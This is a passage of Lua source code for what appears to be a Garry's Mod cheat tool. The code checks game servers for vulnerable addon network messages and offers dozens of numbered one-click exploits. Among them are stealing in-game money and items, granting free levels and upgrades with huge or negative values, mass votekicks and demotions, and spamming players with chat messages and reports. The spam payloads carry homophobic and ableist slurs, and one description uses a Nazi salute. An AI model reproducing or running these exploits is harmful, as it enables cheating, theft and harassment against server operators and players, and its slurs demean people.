1992 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 200), false, true)
1993 else
1994 ExitButton:SetTextColor(Color(255, 255, 255, 255))
1995 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 255), false, true)
1996 end
1997 else
1998 ExitButton:SetTextColor(Color(20, 20, 20, 200))
1999 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200, 0, 0, 200), false, true)
2000 end
2001 end
2002
2003 function ExitButton.DoClick()
2004 base:Remove()
2005 net.Start("changeToPhysgun")
2006 net.SendToServer()
2007 end
2008
2009 local DTeamChoice = vgui.Create("DComboBox", base)
2010 DTeamChoice:SetSize(150, 22)
2011 DTeamChoice:SetPos(75, 50)
2012 DTeamChoice:SetValue("Select Job")
2013
2014 for k, v in pairs(team.GetAllTeams()) do
2015 if not (HIDDEN_TEAMS[k]) and (team.NumPlayers(k) ~= 0) then
2016 DTeamChoice:AddChoice(team.GetName(k))
2017 end
2018 end
2019
2020 DTeamChoice.OnSelect = function(panel, index, value)
2021 for k, _ in pairs(team.GetAllTeams()) do
2022 if value == team.GetName(k) then
2023 for _, v in pairs(player.GetAll()) do
2024 if v:Team() == k then
2025 TeamNum = v:Team()
2026 disguise_Model_Preview_Default = v:GetModel()
2027 end
2028 end
2029 end
2030 end
2031
2032 timer.Create("RefreshModel", 0.1, 0, function()
2033 local icon = vgui.Create("DModelPanel", base)
2034 icon:SetSize(300, 260)
2035 icon:SetPos(-5, 80)
2036 icon:SetFOV(68)
2037 icon:SetModel(disguise_Model_Preview_Default)
2038
2039 timer.Simple(0.1, function()
2040 icon:Remove()
2041 end)
2042 end)
2043
2044 local DisguiseButton = vgui.Create("DButton", base)
2045 DisguiseButton:SetPos(base:GetWide() / 2.5, 360)
2046 DisguiseButton:SetSize(60, 20)
2047 DisguiseButton:SetText("Accept")
2048 DisguiseButton:SetFont("DermaDefaultBold")
2049
2050 function DisguiseButton:Paint()
2051 if DisguiseButton.Hovered then
2052 if DisguiseButton:IsDown() then
2053 DisguiseButton:SetTextColor(Color(200, 200, 200, 200))
2054 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 200))
2055 else
2056 DisguiseButton:SetTextColor(Color(255, 255, 255, 255))
2057 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 220, 0, 255))
2058 end
2059 else
2060 DisguiseButton:SetTextColor(Color(20, 20, 20, 200))
2061 draw.RoundedBoxEx(0, 0, 0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60, 200, 0, 255))
2062 end
2063 end
2064
2065 function DisguiseButton:DoClick()
2066 net.Start("SetPlayerModel")
2067
2068 if ChosenName == nil then
2069 net.WriteString(LocalPlayer():Nick())
2070 else
2071 net.WriteString(ChosenName)
2072 end
2073
2074 net.WriteUInt(TeamNum, 16)
2075 net.SendToServer()
2076 base:Close()
2077 net.Start("changeToPhysgun")
2078 net.SendToServer()
2079 end
2080 end
2081 end)
2082 end
2083
2084 status = ValidNetString("Chatbox_PlayerChat")
2085
2086 if (status) then
2087 ECPrint("Found Exploit: WilloxChat Spam [Chatbox_PlayerChat]")
2088
2089 addExploit("42", "WilloxChat Spam", "spam in chat", function()
2090 surface.PlaySound("garrysmod/ui_click.wav")
2091 ECNotify("Starting")
2092
2093 timer.Create("willoxchatspam", 1, 0, function()
2094 net.Start("Chatbox_PlayerChat")
2095 net.WriteEntity(LocalPlayer())
2096 net.WriteBit(1)
2097 net.WriteString("FAGGOTS")
2098 net.WriteBit(1)
2099 net.SendToServer()
2100 end)
2101 end)
2102 end
2103
2104 status = ValidNetString("BuilderXToggleKill")
2105
2106 if (status) then
2107 ECPrint("Found Exploit: BuilderXToggleKill [BuilderXToggleKill]")
2108
2109 addExploit("43", "BuilderXToggleKill", "old exploit, i dont remember what he was doing", function()
2110 surface.PlaySound("garrysmod/ui_click.wav")
2111 ECNotify("Starting")
2112
2113 for k, v in pairs(player.GetAll()) do
2114 net.Start("BuilderXToggleKill")
2115 net.WriteEntity(ply)
2116 net.SendToServer()
2117 end
2118 end)
2119 end
2120
2121 status = ValidNetString("reports.submit")
2122
2123 if (status) then
2124 ECPrint("Found Exploit: Report All [reports.submit]")
2125
2126 addExploit("44", "Report All", "Report all faggots", function()
2127 surface.PlaySound("garrysmod/ui_click.wav")
2128 ECNotify("Starting")
2129
2130 for k, v in pairs(player.GetAll()) do
2131 net.Start("reports.submit")
2132 net.WriteEntity(v)
2133 net.WriteInt(5, 8)
2134 net.WriteString("SuckMyDick")
2135 net.SendToServer()
2136 end
2137 end)
2138 end
2139
2140 status = ValidNetString("services_accept")
2141
2142 if (status) then
2143 ECPrint("Found Exploit: Infernus Service Accept [services_accept]")
2144
2145 addExploit("45", "Infernus Service Accept", "spam to all players", function()
2146 surface.PlaySound("garrysmod/ui_click.wav")
2147 ECNotify("Starting")
2148
2149 timer.Create("serviceaccept", 0, 0, function()
2150 for k, v in pairs(player.GetAll()) do
2151 net.Start("services_accept")
2152 net.WriteString("Nice security, retards xd")
2153 net.WriteVector(Vector(v:GetPos()))
2154 net.WriteString("test image")
2155 net.WriteEntity(v)
2156 net.SendToServer()
2157 end
2158 end)
2159
2160 timer.Simple(4, function()
2161 timer.Destroy("serviceaccept")
2162 end)
2163 end)
2164 end
2165
2166 status = ValidNetString("lockpick_sound")
2167
2168 if (status) then
2169 ECPrint("Found Exploit: LockPick Sound Spam [lockpick_sound]")
2170
2171 addExploit("46", "LockPick Sound Spam", "", function()
2172 surface.PlaySound("garrysmod/ui_click.wav")
2173 ECNotify("Starting")
2174
2175 timer.Create("spamlockpicksound", 3, 0, function()
2176 for k, v in pairs(player.GetAll()) do
2177 net.Start("lockpick_sound")
2178 net.WriteEntity(v)
2179 net.SendToServer()
2180 end
2181 end)
2182
2183 timer.Simple(4, function()
2184 timer.Destroy("spamlockpicksound")
2185 end)
2186 end)
2187 end
2188
2189 status = ValidNetString("customprinter_get")
2190
2191 if (status) then
2192 ECPrint("Found Exploit: Realistic Printers Steal Money [customprinter_get]")
2193
2194 addExploit("47", "Realistic Printers Steal Money", "stealing money from printers", function()
2195 surface.PlaySound("garrysmod/ui_click.wav")
2196 ECNotify("Starting")
2197
2198 for k, v in pairs(ents.GetAll()) do
2199 if v:GetClass():find("print") then
2200 net.Start("customprinter_get")
2201 net.WriteEntity(v)
2202 net.WriteString("g_money")
2203 net.SendToServer()
2204 end
2205 end
2206 end)
2207 end
2208
2209 status = ValidNetString("InformPlayer")
2210
2211 if (status) then
2212 ECPrint("Found Exploit: SimpleGrab Inform [InformPlayer]")
2213
2214 addExploit("48", "SimpleGrab Inform", "Spam all players in the console", function()
2215 surface.PlaySound("garrysmod/ui_click.wav")
2216 ECNotify("Starting")
2217
2218 for k, v in pairs(player.GetAll()) do
2219 for i = 0, 100 do
2220 net.Start("InformPlayer")
2221 net.WriteEntity(v)
2222 net.SendToServer()
2223 end
2224 end
2225 end)
2226 end
2227
2228 status = ValidNetString("pogcp_report_submitReport")
2229
2230 if (status) then
2231 ECPrint("Found Exploit: Report All #2 [pogcp_report_submitReport]")
2232
2233 addExploit("49", "Report All #2", "Report all faggots", function()
2234 surface.PlaySound("garrysmod/ui_click.wav")
2235 ECNotify("Starting")
2236
2237 for i = 0, 100 do
2238 for k, v in pairs(player.GetAll()) do
2239 net.Start("pogcp_report_submitReport")
2240 net.WriteString("lol")
2241 net.WriteString("nice security retards")
2242 net.WriteEntity(v)
2243 net.SendToServer()
2244 end
2245 end
2246 end)
2247 end
2248
2249 status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
2250
2251 if (status) then
2252 ECPrint("Found Exploit: Fuhrer Submit Candidacy [1942_Fuhrer_SubmitCandidacy]")
2253
2254 addExploit("50", "Fuhrer Submit Candidacy", "you instantly become a Fuhrer, Sieg Heil", function()
2255 surface.PlaySound("garrysmod/ui_click.wav")
2256 ECNotify("Starting")
2257 net.Start("1942_Fuhrer_SubmitCandidacy")
2258 net.WriteString(LocalPlayer():Nick())
2259 net.SendToServer()
2260 end)
2261 end
2262
2263 status = ValidNetString("FacCreate")
2264
2265 if (status) then
2266 ECPrint("Found Exploit: Fac Create [FacCreate]")
2267
2268 addExploit("51", "Fac Create", "old exploit", function()
2269 surface.PlaySound("garrysmod/ui_click.wav")
2270 ECNotify("Starting")
2271
2272 timer.Create("fucklol", 1, 0, function()
2273 net.Start("FacCreate")
2274 net.WriteString("LOL " .. random_string(5))
2275 net.WriteString("LOL " .. random_string(10))
2276 net.WriteColor(random_color())
2277 net.WriteBool(false)
2278 net.WriteString(random_string(5))
2279 net.SendToServer()
2280 end)
2281 end)
2282 end
2283
2284 status = ValidNetString("FactionInviteConsole")
2285
2286 if (status) then
2287 ECPrint("Found Exploit: Faction Invite [FactionInviteConsole]")
2288
2289 addExploit("52", "Faction Invite", "", function()
2290 surface.PlaySound("garrysmod/ui_click.wav")
2291 ECNotify("Starting")
2292
2293 timer.Create("lovedarkexploitsxd", 1, 0, function()
2294 for k, v in pairs(player.GetAll()) do
2295 net.Start("FactionInviteConsole")
2296 net.WriteEntity(ply)
2297 net.WriteEntity(table.Random(player.GetAll()))
2298 net.SendToServer()
2299 end
2300 end)
2301 end)
2302 end
2303
2304 status = ValidNetString("WithdrewBMoney")
2305
2306 if (status) then
2307 ECPrint("Found Exploit: Free Money #2 [WithdrewBMoney]")
2308
2309 addExploit("53", "Free Money #2", "an exploit in the addon 'business'", function()
2310 surface.PlaySound("garrysmod/ui_click.wav")
2311 ECNotify("Starting")
2312 net.Start("WithdrewBMoney")
2313 net.WriteInt(50000, 32)
2314 net.SendToServer()
2315 end)
2316 end
2317
2318 status = ValidNetString("deathrag_takeitem")
2319
2320 if (status) then
2321 ECPrint("Found Exploit: Easy Items [deathrag_takeitem]")
2322
2323 addExploit("54", "Easy Items", "collects money, weapons", function()
2324 surface.PlaySound("garrysmod/ui_click.wav")
2325 ECNotify("Starting")
2326 count = 0
2327
2328 for k, v in pairs(ents.GetAll()) do
2329 if v:GetClass() == "prop_ragdoll" then
2330 count = count + 1
2331 end
2332 end
2333
2334 if count == 0 then
2335 ECPrint("No items found")
2336 else
2337 ECPrint("Amount of items " .. count)
2338 end
2339
2340 for k, v in pairs(ents.GetAll()) do
2341 if v:GetClass() == "prop_ragdoll" then
2342 for i = 1, 10 do
2343 net.Start("deathrag_takeitem")
2344 net.WriteEntity(v)
2345 net.WriteInt(i, 16)
2346 net.SendToServer()
2347 end
2348 end
2349 end
2350 end)
2351 end
2352
2353 status = ValidNetString("REPPurchase")
2354
2355 if (status) then
2356 ECPrint("Found Exploit: Heal and Armor [REPPurchase]")
2357
2358 addExploit("55", "Heal and Armor", "armor and hp", function()
2359 surface.PlaySound("garrysmod/ui_click.wav")
2360 ECNotify("Starting")
2361
2362 if LocalPlayer():Health() < 99 then
2363 net.Start("REPPurchase")
2364 net.WriteString("HEALTH")
2365 net.SendToServer()
2366 end
2367
2368 if LocalPlayer():Armor() < 99 then
2369 net.Start("REPPurchase")
2370 net.WriteString("ARMOR")
2371 net.SendToServer()
2372 end
2373 end)
2374 end
2375
2376 status = ValidNetString("BTTTStartVotekick")
2377
2378 if (status) then
2379 ECPrint("Found Exploit: Votekick #2 [BTTTStartVotekick]")
2380
2381 addExploit("56", "Votekick #2", "kick all noobs", function()
2382 surface.PlaySound("garrysmod/ui_click.wav")
2383 ECNotify("Starting")
2384
2385 for k, v in pairs(player.GetAll()) do
2386 if v ~= LocalPlayer() then
2387 net.Start("BTTTStartVotekick")
2388 net.Start("_nonDBVMVote")
2389 net.WriteEntity(v)
2390 net.WriteString("")
2391 net.WriteString("1")
2392 net.SendToServer()
2393 end
2394 end
2395 end)
2396 end
2397
2398 status = ValidNetString("Resupply")
2399
2400 if (status) then
2401 ECPrint("Found Exploit: Respawn Equipment [Resupply]")
2402
2403 addExploit("57", "Respawn Equipment", "", function()
2404 surface.PlaySound("garrysmod/ui_click.wav")
2405 ECNotify("Starting")
2406 net.Start("Resupply")
2407 net.SendToServer()
2408 end)
2409 end
2410
2411 status = ValidNetString("DarkRP_Defib_ForceSpawn")
2412
2413 if (status) then
2414 ECPrint("Found Exploit: Respawn #2 [DarkRP_Defib_ForceSpawn]")
2415
2416 addExploit("58", "Respawn #2", "just respawn", function()
2417 surface.PlaySound("garrysmod/ui_click.wav")
2418 ECNotify("Respawn")
2419 net.Start("DarkRP_Defib_ForceSpawn")
2420 net.SendToServer()
2421 end)
2422 end
2423
2424 status = ValidNetString("FiremanLeave")
2425
2426 if (status) then
2427 ECPrint("Found Exploit: Fireman Leave [FiremanLeave]")
2428
2429 addExploit("59", "Fireman Leave", "", function()
2430 surface.PlaySound("garrysmod/ui_click.wav")
2431 ECNotify("Starting")
2432 net.Start("FiremanLeave")
2433 net.SendToServer()
2434 end)
2435 end
2436
2437 status = ValidNetString("PoliceJoin")
2438
2439 if (status) then
2440 ECPrint("Found Exploit: Join the Police 1 [PoliceJoin]")
2441
2442 addExploit("60", "Join the Police 1", "joining the police", function()
2443 surface.PlaySound("garrysmod/ui_click.wav")
2444 ECNotify("Starting")
2445 net.Start("PoliceJoin")
2446 net.SendToServer()
2447 end)
2448 end
2449
2450 status = ValidNetString("CreateEntity")
2451
2452 if (status) then
2453 ECPrint("Found Exploit: Create Entity [CreateEntity]")
2454
2455 addExploit("61", "Create Entity", "", function()
2456 surface.PlaySound("garrysmod/ui_click.wav")
2457 ECNotify("Starting")
2458
2459 for k, v in pairs(player.GetAll()) do
2460 net.Start("CreateEntity")
2461 net.WriteString("sent_arc_atm")
2462 net.WriteFloat(100000000000000000000000000000000000000000000000000)
2463 net.WriteEntity(v)
2464 net.SendToServer()
2465 end
2466 end)
2467 end
2468
2469 status = ValidNetString("CREATE_REPORT")
2470
2471 if (status) then
2472 ECPrint("Found Exploit: CREATE REPORT [CREATE_REPORT]")
2473
2474 addExploit("62", "CREATE REPORT", "", function()
2475 surface.PlaySound("garrysmod/ui_click.wav")
2476 ECNotify("Starting")
2477
2478 local tab = {
2479 REPORTER = v:Nick(),
2480 REPORTERID = v:SteamID(),
2481 FAGGOT = v:Nick(),
2482 FAGGOTID = v:SteamID(),
2483 INFO = "Say hi to youtube",
2484 PROOF = "https://www.youtube.com/channel/UCmiP5W8BuaLzzGcJVKORErg"
2485 }
2486
2487 for k, v in pairs(player.GetAll()) do
2488 net.Start("CREATE_REPORT")
2489 net.WriteTable(tab)
2490 net.SendToServer()
2491 end
2492 end)
2493 end
2494
2495 status = ValidNetString("Hopping_Test")
2496
2497 if (status) then
2498 ECPrint("Found Exploit: Hopping Test [Hopping_Test]")
2499
2500 addExploit("62", "Hopping Test", "", function()
2501 surface.PlaySound("garrysmod/ui_click.wav")
2502 ECNotify("Starting")
2503
2504 for k, v in pairs(player.GetAll()) do
2505 net.Start("Hopping_Test")
2506 net.WriteEntity(v)
2507 net.WriteString("69.696.696969.69")
2508 net.SendToServer()
2509 end
2510 end)
2511 end
2512
2513 status = ValidNetString("CpForm_Answers")
2514
2515 if (status) then
2516 ECPrint("Found Exploit: Join the Police 2 [CpForm_Answers]")
2517
2518 addExploit("63", "Join the Police 2", "joining the police #2", function()
2519 surface.PlaySound("garrysmod/ui_click.wav")
2520 ECNotify("Starting")
2521 net.Start("CpForm_Answers")
2522 net.WriteEntity(LocalPlayer())
2523 net.WriteTable({})
2524 net.SendToServer()
2525 end)
2526 end
2527
2528 status = ValidNetString("VehicleUnderglow")
2529
2530 if (status) then
2531 ECPrint("Found Exploit: Vehicle Underglow [VehicleUnderglow]")
2532
2533 addExploit("64", "Vehicle Underglow", "", function()
2534 surface.PlaySound("garrysmod/ui_click.wav")
2535 ECNotify("Starting")
2536 net.Start("VehicleUnderglow")
2537 net.SendToServer()
2538 end)
2539 end
2540
2541 status = ValidNetString("OpenGates")
2542
2543 if (status) then
2544 ECPrint("Found Exploit: Open Door #2 [OpenGates]")
2545
2546 addExploit("65", "Open Door #2", "Force open the door you are looking at", function()
2547 surface.PlaySound("garrysmod/ui_click.wav")
2548 ECNotify("Starting")
2549 net.Start("OpenGates")
2550 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
2551 net.SendToServer()
2552 end)
2553 end
2554
2555 status = ValidNetString("DemotePlayer")
2556
2557 if (status) then
2558 ECPrint("Found Exploit: Demote All Players [DemotePlayer]")
2559
2560 addExploit("66", "Demote All Players", "Demote all players", function()
2561 surface.PlaySound("garrysmod/ui_click.wav")
2562 ECNotify("Starting")
2563
2564 for k, v in pairs(player.GetAll()) do
2565 net.Start("DemotePlayer")
2566 net.WriteString(v:SteamID())
2567 net.SendToServer()
2568 end
2569 end)
2570 end
2571
2572 status = ValidNetString("SendMail")
2573
2574 if (status) then
2575 ECPrint("Found Exploit: Send Mail [SendMail]")
2576
2577 addExploit("67", "Send Mail", "sending mail to all players", function()
2578 surface.PlaySound("garrysmod/ui_click.wav")
2579 ECNotify("Starting")
2580
2581 for k, v in pairs(player.GetAll()) do
2582 net.Start("SendMail")
2583 net.WriteString("haha nice security retards")
2584 net.WriteString(v:Nick())
2585 net.SendToServer()
2586 end
2587 end)
2588 end
2589
2590 status = ValidNetString("REPAdminChangeLVL")
2591
2592 if (status) then
2593 ECPrint("Found Exploit: Admin Change Level [REPAdminChangeLVL]")
2594
2595 addExploit("68", "Admin Change Level", "free lvl", function()
2596 surface.PlaySound("garrysmod/ui_click.wav")
2597 ECNotify("Starting")
2598
2599 for k, v in pairs(player.GetAll()) do
2600 net.Start("REPAdminChangeLVL")
2601 net.WriteEntity(v)
2602 net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2603 net.SendToServer()
2604 end
2605 end)
2606 end
2607
2608 status = ValidNetString("BuyUpgradesStuff")
2609
2610 if (status) then
2611 ECPrint("Found Exploit: Buy Upgrades [BuyUpgradesStuff]")
2612
2613 addExploit("69", "Buy Upgrades", "free upgrades", function()
2614 surface.PlaySound("garrysmod/ui_click.wav")
2615 ECNotify("Starting")
2616 net.Start("BuyUpgradesStuff")
2617 net.WriteString("")
2618 net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
2619 net.SendToServer()
2620 end)
2621 end
2622
2623 status = ValidNetString("SquadGiveWeapon")
2624
2625 if (status) then
2626 ECPrint("Found Exploit: Give Weapons [SquadGiveWeapon]")
2627
2628 addExploit("70", "Give Weapons", "easy weapon", function()
2629 surface.PlaySound("garrysmod/ui_click.wav")
2630 inputFrameExists = true
2631 inputFrame = vgui.Create("DFrame")
2632 inputFrame:SetTitle("Choose a weapon!")
2633 inputFrame:SetSize(400, 75)
2634 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2635 inputFrame:SetDraggable(false)
2636 inputFrame:ShowCloseButton(true)
2637 inputFrame:MakePopup()
2638
2639 inputFrame.Paint = function(self, w, h)
2640 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2641 end
2642
2643 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2644 TextEntry:SetSize(380, 30)
2645 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2646 TextEntry:SetText("ls_sniper")
2647
2648 TextEntry.OnEnter = function(self)
2649 surface.PlaySound("garrysmod/ui_click.wav")
2650 ECNotify("Giving Weapon")
2651 net.Start("SquadGiveWeapon")
2652 net.WriteString(self:GetValue())
2653 net.WriteEntity(LocalPlayer())
2654 net.SendToServer()
2655 inputFrame:SetVisible(false)
2656 end
2657 end)
2658 end
2659
2660 status = ValidNetString("SetTableTarget")
2661
2662 if (status) then
2663 ECPrint("Found Exploit: Set Table Target [SetTableTarget]")
2664
2665 addExploit("71", "Set Table Target", "", function()
2666 surface.PlaySound("garrysmod/ui_click.wav")
2667 ECNotify("Starting")
2668 net.Start("SetTableTarget")
2669 net.WriteString("pername")
2670 net.WriteString("perjob")
2671 net.WriteInt(-10000000000000, 32)
2672 net.WriteString("hitmansel")
2673 net.WriteString("Anony.")
2674 net.WriteString("")
2675 net.WriteFloat(0)
2676 net.WriteInt(-10000000000000, 32)
2677 net.SendToServer()
2678 end)
2679 end
2680
2681 status = ValidNetString("UpdateRPUModelSQL")
2682
2683 if (status) then
2684 ECPrint("Found Exploit: Change character model [UpdateRPUModelSQL]")
2685
2686 addExploit("72", "Change character model", "", function()
2687 surface.PlaySound("garrysmod/ui_click.wav")
2688 ECNotify("Starting")
2689 net.Start("UpdateRPUModelSQL")
2690 net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
2691 net.SendToServer()
2692 end)
2693 end
2694
2695 status = ValidNetString("disguise")
2696
2697 if (status) then
2698 ECPrint("Found Exploit: Disguise [disguise]")
2699
2700 addExploit("73", "Disguise", "allows you to disguise as any job", function()
2701 surface.PlaySound("garrysmod/ui_click.wav")
2702 inputFrameExists = true
2703 inputFrame = vgui.Create("DFrame")
2704 inputFrame:SetTitle("Enter the number of the job")
2705 inputFrame:SetSize(400, 75)
2706 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2707 inputFrame:SetDraggable(false)
2708 inputFrame:ShowCloseButton(true)
2709 inputFrame:MakePopup()
2710
2711 inputFrame.Paint = function(self, w, h)
2712 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2713 end
2714
2715 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2716 TextEntry:SetSize(380, 30)
2717 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2718 TextEntry:SetText("5")
2719
2720 TextEntry.OnEnter = function(self)
2721 surface.PlaySound("garrysmod/ui_click.wav")
2722 ECNotify("Disguised")
2723 net.Start("disguise")
2724 net.WriteInt(tonumber(self:GetValue()), 32)
2725 net.SendToServer()
2726 inputFrame:SetVisible(false)
2727 end
2728 end)
2729 end
2730
2731 status = ValidNetString("gportal_rpname_change")
2732
2733 if (status) then
2734 ECPrint("Found Exploit: Your RP Name #1 [gportal_rpname_change]")
2735
2736 addExploit("74", "Your RP Name #1", "allows you to put absolutely any rp name", function()
2737 surface.PlaySound("garrysmod/ui_click.wav")
2738 inputFrameExists = true
2739 inputFrame = vgui.Create("DFrame")
2740 inputFrame:SetTitle("Enter your name")
2741 inputFrame:SetSize(400, 75)
2742 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2743 inputFrame:SetDraggable(false)
2744 inputFrame:ShowCloseButton(true)
2745 inputFrame:MakePopup()
2746
2747 inputFrame.Paint = function(self, w, h)
2748 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2749 end
2750
2751 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2752 TextEntry:SetSize(380, 30)
2753 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2754 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2755
2756 TextEntry.OnEnter = function(self)
2757 surface.PlaySound("garrysmod/ui_click.wav")
2758 ECNotify("Changed")
2759 net.Start("gportal_rpname_change")
2760 net.WriteString((self:GetValue()), 32)
2761 net.WriteString(" ")
2762 net.SendToServer()
2763 inputFrame:SetVisible(false)
2764 end
2765 end)
2766 end
2767
2768 status = ValidNetString("NewRPNameSQL")
2769
2770 if (status) then
2771 ECPrint("Found Exploit: Your RP Name #2 [NewRPNameSQL]")
2772
2773 addExploit("75", "Your RP Name #2", "allows you to put absolutely any rp name", function()
2774 surface.PlaySound("garrysmod/ui_click.wav")
2775 inputFrameExists = true
2776 inputFrame = vgui.Create("DFrame")
2777 inputFrame:SetTitle("Enter your name")
2778 inputFrame:SetSize(400, 75)
2779 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2780 inputFrame:SetDraggable(false)
2781 inputFrame:ShowCloseButton(true)
2782 inputFrame:MakePopup()
2783
2784 inputFrame.Paint = function(self, w, h)
2785 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2786 end
2787
2788 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2789 TextEntry:SetSize(380, 30)
2790 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2791 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2792
2793 TextEntry.OnEnter = function(self)
2794 surface.PlaySound("garrysmod/ui_click.wav")
2795 ECNotify("Changed")
2796 net.Start("NewRPNameSQL")
2797 net.WriteString((self:GetValue()), 32)
2798 net.SendToServer()
2799 inputFrame:SetVisible(false)
2800 end
2801 end)
2802 end
2803
2804 status = ValidNetString("chname")
2805
2806 if (status) then
2807 ECPrint("Found Exploit: Your RP Name #3 [chname]")
2808
2809 addExploit("76", "Your RP Name #3", "discovered by Leith", function()
2810 surface.PlaySound("garrysmod/ui_click.wav")
2811 inputFrameExists = true
2812 inputFrame = vgui.Create("DFrame")
2813 inputFrame:SetTitle("Enter your name")
2814 inputFrame:SetSize(400, 75)
2815 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2816 inputFrame:SetDraggable(false)
2817 inputFrame:ShowCloseButton(true)
2818 inputFrame:MakePopup()
2819
2820 inputFrame.Paint = function(self, w, h)
2821 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2822 end
2823
2824 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2825 TextEntry:SetSize(380, 30)
2826 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2827 TextEntry:SetText("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------")
2828
2829 TextEntry.OnEnter = function(self)
2830 surface.PlaySound("garrysmod/ui_click.wav")
2831 ECNotify("Changed")
2832 net.Start("chname")
2833 net.WriteString((self:GetValue()))
2834 net.WriteString(" ")
2835 net.SendToServer()
2836 inputFrame:SetVisible(false)
2837 end
2838 end)
2839 end
2840
2841 status = ValidNetString("AbilityUse")
2842
2843 if (status) then
2844 ECPrint("Found Exploit: Free Bonus [AbilityUse]")
2845
2846 addExploit("77", "Free Bonus", "allows you to instantly get bonuses", function()
2847 surface.PlaySound("garrysmod/ui_click.wav")
2848
2849 for k, v in ipairs(rp.abilities.list) do
2850 ECPrint("ID - " .. k .. " | " .. v:GetName())
2851 inputFrameExists = true
2852 inputFrame = vgui.Create("DFrame")
2853 inputFrame:SetTitle("Enter the id of the bonus")
2854 inputFrame:SetSize(400, 75)
2855 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2856 inputFrame:SetDraggable(false)
2857 inputFrame:ShowCloseButton(true)
2858 inputFrame:MakePopup()
2859
2860 inputFrame.Paint = function(self, w, h)
2861 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2862 end
2863
2864 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2865 TextEntry:SetSize(380, 30)
2866 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2867 TextEntry:SetText("6")
2868
2869 TextEntry.OnEnter = function(self)
2870 surface.PlaySound("garrysmod/ui_click.wav")
2871 ECNotify("Received")
2872 net.Start("AbilityUse")
2873 net.WriteInt(tonumber(self:GetValue()), 32)
2874 net.SendToServer()
2875 inputFrame:SetVisible(false)
2876 end
2877 end
2878 end)
2879 end
2880
2881 status = ValidNetString("race_accept")
2882
2883 if (status) then
2884 ECPrint("Found Exploit: Get Car [race_accept]")
2885
2886 addExploit("78", "Get Car", "", function()
2887 surface.PlaySound("garrysmod/ui_click.wav")
2888 inputFrameExists = true
2889 inputFrame = vgui.Create("DFrame")
2890 inputFrame:SetTitle("Enter the id of the car")
2891 inputFrame:SetSize(400, 75)
2892 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2893 inputFrame:SetDraggable(false)
2894 inputFrame:ShowCloseButton(true)
2895 inputFrame:MakePopup()
2896
2897 inputFrame.Paint = function(self, w, h)
2898 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
2899 end
2900
2901 local TextEntry = vgui.Create("DTextEntry", inputFrame)
2902 TextEntry:SetSize(380, 30)
2903 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
2904 TextEntry:SetText("1")
2905
2906 TextEntry.OnEnter = function(self)
2907 surface.PlaySound("garrysmod/ui_click.wav")
2908 ECNotify("Starting")
2909 net.Start("race_accept")
2910 net.WriteInt(tonumber(self:GetValue()), 32)
2911 net.SendToServer()
2912 end
2913 end)
2914 end
2915
2916 status = ValidNetString("NLR_SPAWN")
2917
2918 if (status) then
2919 ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
2920
2921 addExploit("79", "Respawn #3", "instant revival", function()
2922 surface.PlaySound("garrysmod/ui_click.wav")
